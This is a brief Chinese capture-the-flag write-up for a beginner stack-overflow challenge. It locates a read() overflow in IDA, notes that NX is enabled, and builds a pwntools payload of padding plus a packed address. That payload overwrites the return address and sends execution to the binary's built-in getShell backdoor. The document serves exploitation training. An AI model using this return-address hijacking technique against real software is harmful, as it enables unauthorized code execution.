Hello_World

1.很简单的一个程序,IDA打开,32位程序,main函数-hello函数中

img

1
2
3
4
#注释头

int buf; // [esp+6h] [ebp-12h]
read(0, &buf, 0x64u);

buf距离栈底有0x12h,而可以读入的数据有0x64h,所以可以栈溢出。

2.checksec一下,开了NX,不能shellcode,这里也不需要,因为我们的输入并不会被当成指令来执行。

3.程序中自带后门getShell函数,并且有栈溢出,那么直接覆盖hello函数的返回地址跳转即可。

img

img

4.编写payload:

payload = “a”*(0x12+0x04) #padding

(其中0x12是覆盖掉距离栈底的内容,0x04是覆盖掉hello函数返回的ebp,之后才是覆盖hello函数的返回地址)

payload += p32(0x0804846B) ##覆盖返回地址

5.之后输入,然后Interactive()即可。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157